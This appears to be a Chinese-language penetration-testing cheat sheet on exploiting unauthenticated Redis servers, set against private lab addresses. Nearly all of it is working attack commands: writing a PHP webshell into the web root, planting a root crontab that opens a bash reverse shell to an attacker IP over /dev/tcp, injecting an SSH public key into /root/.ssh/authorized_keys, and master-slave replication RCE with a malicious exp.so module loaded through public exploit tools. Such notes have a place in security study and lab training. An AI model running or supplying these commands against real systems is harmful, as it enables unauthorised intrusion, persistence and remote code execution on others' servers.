Redis未授权访问
Redis未授权访问
Redis常用端口:6379
如果存在未授权访问漏洞,可以使用redis-cli -h 172.16.12.50 -p 6379
连接到数据库中
Redis未授权漏洞利用
利用web绝对路径写webshell
利用条件
- 目标存在web目录
- 已知web绝对路径
- 存在写入权限
利用过程
flushall #清空当前redis所在库数据
config set dir "/var/www/html" #设置目录
config set dbfilename phpinfo.php #写文件
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save写计划任务
只能在centos下反弹,并且权限可写计划任务配置
利用redis生成计划任务配置文件
config set dir "/var/spool/cron"
config set dbfilename root
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.12.160/9999 0>&1\n\n"
save写公钥免密连接
利用条件
- root权限
- 开启了ssh密钥登录,存在/etc/.ssh文件
利用过程
在靶机上开启ssh密钥登录,修改
/etc/ssh/sshd_config
配置文件RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件配置好重启服务
systemctl restart sshd
在攻击机中使用自带的命令生成一对密钥
ssh-keygen -t rsa
将公钥内容导入key.txt文件
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
将生成的公钥内容设置给redis里的变量
cat /root/key.txt | redis-cli -h 172.16.12.50 -x set xxx
在 /root/.ssh 目录下生成authorized_keys文件
redis-cli -h 172.16.12.50
config set dir /root/.ssh
config set dbfilename authorized_keys
save使用本地的私钥连接ssh
ssh 172.16.12.50
利用主从复制RCE
利用docker进行复现
docker pull damonevking/redis5.0 #拉取redis5.0镜像
docker run -p 6379:6379 -d damonevking/redis5.0:latest redis-server #运行镜像并端口转发
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/redis-rogue-server
cp redis-rogue-server/exp.so redis-rce/ #将redis-rogue-server项目中的exp.so复制至redis-rce项目中
cd redis-rce
pip install -r requirements.txt
python3 redis-rce.py -r 192.168.179.87 -L 192.168.23.159 -f exp.so #-r:目标IP地址 -L:本地IP地址(公网IP地址) -f:指定恶意exp.so模块文件攻击原理
攻击机运行以上命令后执行的操作
- 连接未授权redis服务器
- 设置filename
- 将exp.so写入filename中,加载恶意so模块
- 利用从redis请求主恶意redis
- 攻击机连接x.x.x.x:50396执行命令